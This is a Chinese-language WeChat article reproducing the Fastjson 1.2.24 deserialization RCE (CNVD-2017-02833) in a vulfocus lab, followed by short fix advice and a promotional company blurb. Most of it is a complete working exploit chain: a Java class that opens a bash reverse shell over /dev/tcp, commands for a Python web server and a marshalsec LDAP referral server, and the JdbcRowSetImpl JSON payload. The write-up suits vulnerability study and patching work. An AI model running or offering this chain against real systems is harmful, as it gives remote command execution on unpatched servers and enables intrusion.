点击蓝字 关注我们
FastjsonRCE-cnvd-2017-02833
0x01 影响版本
影响版本:Fastjson1.2.24以及之前的版本
0x02 环境
靶场vulfocus 、Vps、windows10
0x03 漏洞利用
1、编辑 Exploit.java
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/IP/666;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
2、然后编译Exploit.java成Exploit.class
javac Exploit.java
3、将Exploit.class上传到vps
4、开启三个VPS终端
①第一个终端使用python搭建一个临时的web服务
python2 python -m SimpleHTTPServer 1111
python3 python -m http.server 1111
②第二个终端上开启LDAP服务
上传marshalsec-0.0.3-SNAPSHOT-all.jar
Java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:1111/#Exploit 9999
③第三个终端接受shell(这是得到shell的终端)
5、打开靶场
打开靶场,利用Burp抓包,GET改成POST型,修改Content-Type:为application/json
exp:
{ "name":{ "@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl" },"x":{ "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:9999/Exploit", "autoCommit":true } }
6、命令执行获取flag
0x04 修复建议
1、升级至安全版本。
2、对fastjson进行一定的安全加固措施。
3、采用其他json处理组件替换,jackson-databind漏洞也频发,建议使用Gson。
文章来源: NGC660安全实验室
银天信息专注于软件研发、信息安全与智慧城市等领域的创新发展,是政府及企业数字化、智慧化建设的重要合作伙伴,银天信息立足”为社会服好务、为员工谋福祉”的社会责任,秉承“以技术为引领、以市场为导向、以用户为中心”的发展理念。
自1996年成立以来,银天信息以产业前瞻研究和行业深度理解为双引擎,基于云计算、大数据、物联网、5G等先进技术形成了贯穿政府、企业数字化转型生命周期的“全栈式”产品及解决方案,包括IT战略咨询、规划、设计、实施、运营与商业模式创新等,为用户输出同步国际的智慧城市建设体系,实现IT云化和数据价值激活,提升整体核心竞争力。目前,已经与政府、教育、能源、金融、电信、医疗等行业客户开展深入的合作。
原文始发于微信公众号(银天信息):cnvd-2017-02833漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论